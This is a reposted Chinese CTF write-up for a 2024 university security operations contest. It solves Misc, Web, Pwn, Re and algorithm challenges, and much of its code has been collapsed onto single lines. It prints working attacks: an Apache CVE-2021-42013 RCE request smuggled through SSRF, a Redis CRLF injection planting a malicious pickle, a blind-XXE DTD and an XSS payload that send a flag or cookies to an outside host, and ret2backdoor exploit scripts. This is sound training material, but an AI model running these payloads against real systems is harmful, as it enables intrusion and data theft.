2024高校网络安全管理运维赛 wp

news/2024/12/27 6:10:09/文章来源:https://www.cnblogs.com/backlion/p/18449889

0x00 前言

本文是关于“2024高校网络安全管理运维赛”的详细题解,主要针对Web、Pwn、Re、Misc以及Algorithm等多方向题目的解题过程,包含但不限于钓鱼邮件识别、流量分析、SQLite文件解析、ssrf、xxe等等。如有错误,欢迎指正。

0x01 Misc

签到

给了一个gif,直接在线分帧

得到synt{fvtava-dhvm-jryy-qbar},一眼凯撒,直接rot13解码

flag{signin-quiz-well-done}

钓鱼邮件识别

给了一个eml邮件文件,可以用邮箱软件查看,也可以直接查看(可能麻烦点)

Flag 1

直接base64解码,得到flag{wElCoMeTo}

Flag 2

下面的内容是base64编码的信息

解码后查看,得到flag{phIsHhuntINg}

Flag 3

eml文件剩下的内容没有flag了,只能从发件人的域名下手了

查下dns解析,这里用的是360威胁情报中心

https://ti.360.net/domain/foobar-edu-cn.com

(这个情报中心会记录比赛过程的解析历史,所以现在直接看子域名信息就能得到flag)

下面还是正常过一遍查询流程

除了第三方服务平台,也可以用windows自带的nslookup,查看域名的TXT记录

nslookup -qt=txt foobar-edu-cn.com

根据提示,应该是得去找该域名下的子域名的解析记录,三个拼接出完整的flag

由于域名是在国外申请的,国内很多网站都解析不出来,只能用国外的网站慢慢试

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/details spf

https://dnsspy.io/scan/foobar-edu-cn.com default._domainkey

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com _dmarc

分别得到三个部分,拼接得到flag

flag_part1={N0wY0u
flag_part2=_Kn0wH0wt0_
flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

其实那三个子域名是对应电子邮件服务器的几种协议,例如:SPF、DKIM 和 DMARC,分别提供对应服务

https://help.aliyun.com/document_detail/2685946.html

easyshell

给一个pcap流量包,直接能看到在post请求shell.php,应该是在传马后命令执行

过滤下http流,确信上面猜想

追踪http流,post的内容是加密过的,结合题目和冰蝎4.0的流量特征,猜测这个是冰蝎马

冰蝎流量特征:

  • Accept: application/json, text/javascript, */*; q=0.01
  • Content-type: Application/x-www-form-urlencoded
  • Connection: Keep-Alive

冰蝎4.0使用AES加密,默认密钥为e45e329feb5d925b,即md5('rebeyond')的前16位

冰蝎3.0,默认密码为:e45e329feb5d925b,可以看看:behinder_decrypt/decropt.php at master · melody27/behinder_decrypt · GitHub

从最后一个响应包往回解码试试

这里需要注意Cyber的AES-CBC模式的iv不能空着,但又不需要偏移,所以填入0

找到一个有内容的

看看请求包是在请求什么,这里放下解码后的结果,可以看出是在读取secret2.txt文件

secret2.txt

Hello, but what you're looking for isn't me.

然后在前一个响应包找到关键内容

是个zip压缩包,直接保存出来

查看zip,有个secret1.txt和secret2.txt,需要密码

结合已知secret2.txt的内容,我们可以通过已知明文攻击

先写个secret2.txt,保存为zip,保证和原来的加密算法一样

开始明文攻击,这里有个小技巧,等他显示找回口令时停止,弹出窗口点保存就能解压了

得到flag{70854278-ea0c-462e-bc18-468c7a04a505}


SecretDB

题目给了一个sqlite的db文件,打开只有Too late, no flag for you.

应该得恢复被delete的信息,没有找到能直接恢复的工具,要么恢复不出来要么乱码,尝试手动提取

参考:https://www.cnblogs.com/jiangcsu/p/6569045.html

重点是单元内的结构

010editor打开secret.db,定位到flag处查看,红框下面的部分就是之前被删除的数据

从上面数据库flag表的结构,我们能看出列为id、sort和message,sort是排序用的索引,message存储可见字符,所以我们可以简单的观察上图的可见字符,也就是message,那么他们的前一位就是sort了,例如可见字符9的十六进制为39,它的前一位为0e,所以索引为0e的值为9

依次类推,提取剩余的值

0x17 -
0x0 f
0xe 9
0x1b 7
0x10 3
0xa b
0x19 2
0x14 b
0xf 2
0x12 -
0x23 4
0x16 6
0x1f a
0x25 8
0x2 a
0x1e f
0x5 f
0x3 g
0x11 c
0xc 0
0x4 {
0x22 a
0x21 b
0x7 2
0x1d f
0x26 f
0x1c -
0x9 1
0x27 0
0xd -
0xb f
0x8 9
0x1 l
0x13 4
0x29 }
0x15 a
0x28 b
0x6 6
0x1a d
0x24 e
0x20 b

写个脚本排序,输出flag

with open('1.txt', 'r') as f:data = f.readlines()out = [' ' for i in range(43)]
for i in data:index, val = i.replace('\n', '').split(' ')index = int(index, 16)out[index] = valflag = ''
index = 0
for i in out:print(hex(index), i)index += 1flag += i
print(flag)
# flag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

缺了一位,爆破一下,得出flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

给了一个网关源码,index.html有产品名称HS8145V

查询password,在cgi-bin/baseinfoSet.json有一串密码

106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&

搜索一下cgi-bin/baseinfoSet.json

https://github.com/iheshime/ChinaTelecom-ESurfing-Gateway-HG260-Admin-Password-Algorithm

发现是网关管理员通用的加密算法,小改下脚本

exp.py:

def passwd_decode(code) -> str:passwd_list = map(int, code.split('&'))result=[]for i in passwd_list:if 97 <= i <= 100 or 65 <= i <= 68:i += 22elif i > 57:i -= 4result.append(chr(i))#print(i, chr(i))return (''.join(result))
passwd = passwd_decode("106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129")
print(passwd)
# flag{ad1985868133e8cf1828cb84adbe5a5b}
或者
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    ## "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}

zip

#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <pty.h>char token[1024], buf[1024];void load() {FILE *f = fopen("token.txt", "r");fgets(token, sizeof(token), f);token[64] = 0; // maybe 64 bytes is enoughfclose(f);
}int cmpstr(char const *a, char const *b) {return memcmp(a, b, strlen(a));
}void zip(char *password) {int master, pid;pid = forkpty(&master, NULL, NULL, NULL);if (pid == 0) {char* argv[] = { "7z", "a", "flag.zip", "tmp/flag.txt", "-mem=AES256", "-p", NULL };execve("/usr/bin/7z", argv, NULL);} else {char buffer[4097];while (true) {ssize_t n = read(master, buffer, 4096);if (n < 0) break;fflush(stdout);write(1, buffer, n);buffer[n] = 0;if (strstr(buffer, "password")) {usleep(10000);write(master, password, strlen(password));write(master, "\n", 1);}}wait(NULL);}close(master);
}void unzip(char *password) {int master, pid;pid = forkpty(&master, NULL, NULL, NULL);if (pid == 0) {char* argv[] = { "7z", "e", "flag.zip", NULL };execve("/usr/bin/7z", argv, NULL);} else {char buffer[4097];while (true) {ssize_t n = read(master, buffer, 4096);if (n < 0) break;fflush(stdout);write(1, buffer, n);buffer[n] = 0;if (strstr(buffer, "rename all")) {usleep(10000);write(master, "u\n", 2);}if (strstr(buffer, "Enter password")) {usleep(10000);write(master, password, strlen(password));write(master, "\n", 1);}}wait(NULL);}close(master);
}int main(int argc, char *argv[]) {load();system("7z");puts("your token:");fflush(stdout);fgets(buf, sizeof(buf), stdin);if (cmpstr(token, buf)) {puts("wrong token!");return 1;}zip(buf);puts("your flag:");fflush(stdout);fgets(buf, sizeof(buf), stdin);if (cmpstr("flag{", buf)) {puts("wrong flag!");return 1;}unzip(buf);FILE *f = fopen("flag.txt", "r");if (!f) {puts("flag.txt not found");return 1;}fgets(buf, sizeof(buf), f);fclose(f);printf("flag: %s\n", buf);return 0;
}

题目是模仿终端输入,通过条件是输入的内容要有flag{开头,又要等于队伍token(包含flag{)

主要是利用ascii中的\x7f即del,对前面的flag{进行删除

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'choice=0
if choice==1:p=process('./pwn')
else:p=remote("url",10003)s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):gdb.attach(p,cmd)pause()
def proof_of_work(p):p.recvuntil(b"256(\"")prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]log.success(prefixes)def brute(cur):content = prefixes + str(cur)s = sha256(content.encode())if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:return Truereturn Falseproof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):p.recvuntil(b"with \"")prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]log.success(prefixes)def brute(cur):s = md5(cur.encode())if s.hexdigest().startswith(prefixes):return Truereturn Falseproof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')p.sendlineafter(b":", proof)#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','队伍token')
sla('token:','队伍token')pl='flag{'+'\x7f'*6+'队伍token'
sla('your flag:',pl)
p.interactive()
flag{n3v3r-90NN4-91V3-y0U-UP}
或者
from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())

r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

Apache

from flask import Flask,request,send_file
import socketapp = Flask("webserver")@app.route('/',methods=["GET"])
def index():return send_file(__file__)@app.route('/nc',methods=["POST"])
def nc():try:dstport=int(request.form['port'])data=request.form['data']s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(1)s.connect(('127.0.0.1', dstport))s.send(data.encode())recvdata = b''while True:chunk = s.recv(2048)if not chunk.strip():breakelse:recvdata += chunkcontinuereturn recvdataexcept Exception as e:return str(e)app.run(host="0.0.0.0",port=8080,threaded=True)

题目接受参数port和data,对127.0.0.1:port进行nc连接,发送data

httpd.conf里开启了cgid

LoadModule cgid_module modules/mod_cgid.so

结合题目apache,应该是要打CVE-2021-42013,路径穿越命令执行

同时,题目nc发送data后是循环接收chunk,这样会导致完异常无法接受返回信息

针对chunked传输模式,通过设置Content-Length来限制长度(可以参考上一篇的"凌武杯" D^3CTF 2024 wp)

exp.py

import requestsurl = "url/nc"poc = "echo;cat /flag"
payload=f"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\nContent-Length: {len(poc)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n{poc}"""
data ={"port":"80","data":payload
}
res = requests.post(url=url,data=data)
print(res.text)

flag{whaTaapaCherce}

f or r

这个没什么好说的,能找到原题

https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html

照着文章直接出

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'


r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())


r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())


exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

image-20240507001406831

0x02 Web

phpsql

一个用户登录界面,password存在sql注入点

保存请求包,sqlmap一把梭

python .\sqlmap.py -r post.txt --dbms mysql --tamper=space2comment -D ctftraining -T "flag" -C "flag" --dump

但注出的flag字段为空

后面发现就是个简单的sql注入,登录后查看就行

空格被过滤了,用MySQL注释符绕过



或者用万能密码绕过

pyssrf

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)def get_result(url):url_key=hashlib.md5(url.encode()).hexdigest()res=redis.get(url_key)if res:return pickle.loads(base64.b64decode(res))else:try:print(url)info = urllib.request.urlopen(url)res = info.read()pickres=pickle.dumps(res)b64res=base64.b64encode(pickres)redis.set(url_key,b64res,ex=300)return resexcept urllib.error.URLError as e:print(e)@app.route('/')
def hello():url = request.args.get("url")return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')@app.route('/source') 
def source(): return

参考:

https://bugs.python.org/issue42987 存在CRLF漏洞

flask不出网回显方式 - Longlone’s Blog

题目是接收一个url参数,将redis中url对应的值取出并pickle反序列化

提示python版本为3.7.1,构造pickle序列化数据需要注意版本

主要思路为,利用CRLF注入,打redis未授权,将redis中url对应的值修改为恶意的pickle序列化数据,再次访问时,题目将redis中的内容取出进行pickle反序列化,造成命令执行

exp.py

import requests
import hashlib
import pickle
import base64
import urlliburl = "/?url="payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'raise Exception(__import__('os').popen('cat /f*').read())'
tR.
'''payload_base64 = urllib.parse.quote(base64.b64encode(payload).decode())
print(payload_base64)def encode_url(url):url_key = hashlib.md5(url.encode()).hexdigest()return url_keyinject_url = '1.2.3.4'
url_shell = url + inject_url
url_encode = encode_url("http://" + inject_url)payload = f"127.0.0.1:6379?\r\nauth\r\nroot\r\nSET {url_encode} {payload_base64}\r\nquit"url_set = url + payload
res1 = requests.get(url=url_set)
print(res1.text)
res2 = requests.get(url=url_shell)
print(res2.text)

fileit

盲打XXE,参考文章https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/

抓包,将xml转换为dom,应该是xxe,但无回显

需要读取vps上恶意dtd,执行命令后回显到vps上

vps:

a.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:port?file=%data;'>">
# 开启监听端口3000
nc -lnvp 3000

发包:

POST / HTTP/2
Host: 
Content-Length: 152
Content-Type: application/xml<?xml version="1.0" ?><!ENTITY % sp SYSTEM "http://ip:port/a.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

成功回显,base64解码得到flag

Messy Mongo

代码审计+F12的hint,找到修改用户名的路由:

app.use('/api/*', jwt({ secret }))app.patch('/api/login', async (c) => {	//修改账号const { user } = c.get('jwtPayload')  const delta = await c.req.json()const newname = delta['username']assert.notEqual(newname, 'admin')await users.updateOne({ username: user }, [{ $set: delta }])if (newname) {await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])}return c.json(0)
})

这里可以利用mongodb聚合特性中的字符串操作来绕过assert.notEqual并且修改用户为admin:https://www.jianshu.com/p/42845d117587。

登录ctfer用户拿到jwt令牌,然后先发送一个修改用户名为Admin的请求:

{"username":"Admin"}

再登录Admin用户,修改用户名为小写:

{"username":{"$toLower":"$username"}}

请求访问即可拿到flag:

image-20240506223322284

JustXSS

预测nonce来进行XSS。
V8的 Math.random() 方法不是密码学安全的,可以通过历史记录来预测伪随机数生成器内部状
态,从而获取之后得到的值。
能拿到未来的nonce后就可以很方便的注入里。但由于Vue的v-html是设置 innerHTML 来更新
DOM,而事件侦听由被CSP给ban了,直接注入 <script> 也是不会执行的。
这里就需要第二个Trick,使用iframe绕过这个限制。
PoC:
<iframe srcdoc="<script
nonce='$NONCE'>window.open('https://webhook.site/88da27db-7c1e-4fee-8410-
9cef8bc08d2c?'+document.cookie)</script>"></iframe>


0x03 Re

easyre

经典BASE64换表题目,表为ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/


确实easy,就是一个换标base64

babyre

有一层upx壳,脱壳后直接扔到angr一把梭

img

import angrp=angr.Project('./babyre',auto_load_libs=False)
start_start=p.factory.entry_state()
simgr=p.factory.simgr()
#target addr
def target(state):return b"Your flag is" in state.posix.dumps(1)
#avoid addr
def bad(state):return b"Wrong!" in state.posix.dumps(1)
simgr.explore(find=target,avoid=bad)
if simgr.found:solution_state=simgr.found[0]print(solution_state.posix.dumps(1))#模拟符合posix环境的数据存储和输入输出

0x04 Pwn

Login

登录时使用长字符串能够爆出登录密码:

img

尝试用户名和密码,用admin/1q2w3e4r成功登录,将程序dump下来。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
file = p.recvall()
fd.write(file)

存在后门函数,直接ret2backdoor即可

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
## p.recvuntil(b'Username:')
## p.sendline(b'admin')
## p.recvuntil(b'Password')
## p.sendline(b'1q2w3e4r')

## p.recvuntil(b'Core dumped\n')
## with open('./Login','+ab') as fd:
## file = p.recvall()
## fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()


img

img

babypwn

给了后门函数,直接打ret2backdoor即可。


from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'choice=0
if choice==1:p=process('./pwn')
else:p=remote("prob07.contest.pku.edu.cn",10007)s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):gdb.attach(p,cmd)pause()
def proof_of_work(p):p.recvuntil(b"256(\"")prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]log.success(prefixes)def brute(cur):content = prefixes + str(cur)s = sha256(content.encode())if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:return Truereturn Falseproof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):p.recvuntil(b"with \"")prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]log.success(prefixes)def brute(cur):s = md5(cur.encode())if s.hexdigest().startswith(prefixes):return Truereturn Falseproof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')p.sendlineafter(b":", proof)#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','20:MEYCIQCSPC8cZqmtbdZzL8NH8ZsYVZWmObVOyeXgLCqEUxxxyAIhALrkbJlt4GFMl-p6cyLpLdBUMaZRJrVU3ETXNwH7tuPN')
sla('Enter your username: ','root\x00')
pl=b'/bin/sh\x00'+b'a'*0x30+flat(0x00000000040117a)sa('Enter the password: ',pl)
p.interactive()

0x05 Algorithm

secretbit

from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messageMAX_M = 400
MIN_M = 200
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []for bi in tqdm(flag_b):while True:tmp_m0 = randrange(MIN_M, MAX_M)tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))tmp_m1 = randrange(MIN_M, MAX_M)tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:breakchoose_m = tmp_m0 if bi == 0 else tmp_m1choose_n = tmp_n0 if bi == 0 else tmp_n1leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])open('data.txt', 'w').write(str(leak_message))

根据flag的bit来选择m0和n0,或者m1和n1

题目给了m0、n0、m1、n1和leak后的数据,直接计算两种情况的leak,看哪个和给的leak相近,就能判断出该位的bit了

exp.py:

import ast
import math
from tqdm import tqdmdef instance_avg(m, n, times=2000):from random import shuffletotal = 0for _ in range(times):start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor _ in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:total += 0breakelse:total += 1return total / timeswith open('data.txt', 'r') as file:data = ast.literal_eval(file.read())flag_bits = []
for [[m0, n0], [m1, n1], message] in tqdm(data):p = sum(message) / len(message)avg_m0_n0 = instance_avg(m0, n0)avg_m1_n1 = instance_avg(m1, n1)if math.isclose(p, avg_m0_n0, abs_tol=0.05):flag_bits.append(0)elif math.isclose(p, avg_m1_n1, abs_tol=0.05):flag_bits.append(1)else:raise ValueError("Unable to determine bit value")flag_bin_str = ''.join(map(str, flag_bits))
flag_int = int(flag_bin_str, 2)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')print(flag.decode())

0x06 总结

这次比赛有些平时接触不到的知识点,像是钓鱼邮件识别中的dns解析,sqlite文件解析,也有对一些知识的加固,例如apache目录穿越,ssrf+redis未授权,xxe无回显,等等。总的来说,学习到了很多,再接再厉!


附件题目下载地址:

链接: https://pan.baidu.com/s/1AFgFsn0BNZrqB0eyt2e_5Q 提取码: q7e7 


转载原文参考链接地址:
https://forum.butian.net/share/2984
https://blog.csdn.net/jyttttttt/article/details/138514076
https://blog.xmcve.com/2024/05/07/%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E8%B5%9B-Writeup/#title-11

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/809396.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

张量矩阵乘法分块乘法概述

张量矩阵乘法分块乘法概述 介绍一下矩阵计算相关的内容, 从最基本的算法,到Cutlass这些线性代数模版库, 特别是Layout代数相关的内容,再逐渐细化到一些硬件实现访存优化和一些算子融合。 6.3.1 GEMM概述 1. GEMM定义 对于一个矩阵乘法, 定义如下: (6-1)一个矩阵乘法定义,如…

Java与线程

Java与线程 1. 线程的实现 线程是比进程更轻量级的调度执行单位,线程的引人,可以把一个进程的资源分配和执行调度分开,各个线程既可以共享进程资源(内存地址、文件IO等),又可以独立调度。目前线程是Java里面进行处理器资源调度的最基本单位。 主流的操作系统都提供了线程实…

矩阵分块乘法

矩阵分块乘法 通常可以把一个矩阵分成多个块, 例如, (6-4)可以将其划分为 4个块:(6-5) (6-6)分块后的矩阵记为:(6-7) 分块矩阵乘法如下所示:(6-7)划分不一定需要完全等间隔, 只需要满足子矩阵乘法规则即可, 如图6-27所示。图6-27 子矩阵划分不一定需要完全等间…

从硬件的视角看GEMM

从硬件的视角看GEMM 1. 分块乘法的内存层次架构 分块矩阵乘法,如图6-28所示, 通过将矩阵分块拆分,能够在处理器的Cache和寄存器内存放进行快速计算,计算完成后写回主存。图6-28 分块矩阵乘法 首先,所有的数据都在主内存中,如图6-29所示。图6-29 所有的数据都在主内存中 然…

电表行业强力推荐KY8023S6对标平替BL8023双向继电器驱动芯片

双向继电器驱动芯片KY8023S6对标平替BL8023。 产品特点 SOT23-6L和SOP-8 两种封装 静态功耗电流<1uA 输入高低转换电平为1.3V(Is=1A)左右,兼容多种单片机 工作电压5-40V,推荐工作电压5-30V 输入INA和INB端自带115k下拉电阻,一般可省略外围下拉电阻 集成高速续流二极管,…

重启后,idea 依赖爆红

没改动代码,但无法运行java项目 java: -source 1.5 中不支持……表达式/运算符java: 错误: 不支持发行版本 5解决:https://www.cnblogs.com/liu-han/p/16105953.html 文件→项目结构,SDK和项目/模块 语言级别的版本要一致SDK: 1.8 项目语言级别:SDK默认值 模块语言级别:SD…

[亲测]君临九州+单机安装教程+无需虚拟机+GM后台

今天给大家带来一款单机游戏的架设:君临九州,版本号:1.0.12.30。 另外:本人承接各种游戏架设(单机+联网) 本人为了学习和研究软件内含的设计思想和原理,带了架设教程仅供娱乐。 教程是本人亲自搭建成功的,绝对是完整可运行的,踩过的坑都给你们填上了。如果你是小白也没…

智慧园区管理系统原型

智慧园区管理系统的构建是一个复杂而系统的工程,它融合了信息化、AI、物联网等多种先进技术,旨在提升园区的管理效率、服务质量以及企业运营效率。 一、明确系统目标和需求 需求收集与分析:首先,需要对园区的实际需求进行全面分析,包括园区类型(如产业园区、办公园区、住…

POI导出excel文件加水印

百分百能用,我用的POI版本是5.2.3,效果如下import lombok.extern.slf4j.Slf4j; import org.apache.poi.openxml4j.opc.PackagePartName; import org.apache.poi.openxml4j.opc.PackageRelationship; import org.apache.poi.openxml4j.opc.TargetMode; import org.apache.poi.xs…

FredNormer: 非平稳时间序列预测的频域正则化方法

时间序列预测是一个具有挑战性的任务,尤其是在处理非平稳数据时。现有的基于正则化的方法虽然在解决分布偏移问题上取得了一定成功但仍存在局限性。这些方法主要在时间域进行操作,可能无法充分捕捉在频域中更明显的动态模式,从而导致次优的结果。 FredNormer论文的研究目的主要…

江苏省第二届数据安全技术应用职业技能竞赛初赛WP

一、数据安全解题赛1、ds_0602解题思路题目让我们获取加密文件中的原始数据,解密后提交第六行第二列数据,下载附件,发现里面有两个文件,其中一个是“.enc”结尾,那这里我们得先简单了解一下“.enc”结尾的是什么类型的文件。简单来说“.enc”结尾的文件通常是经过加密的文…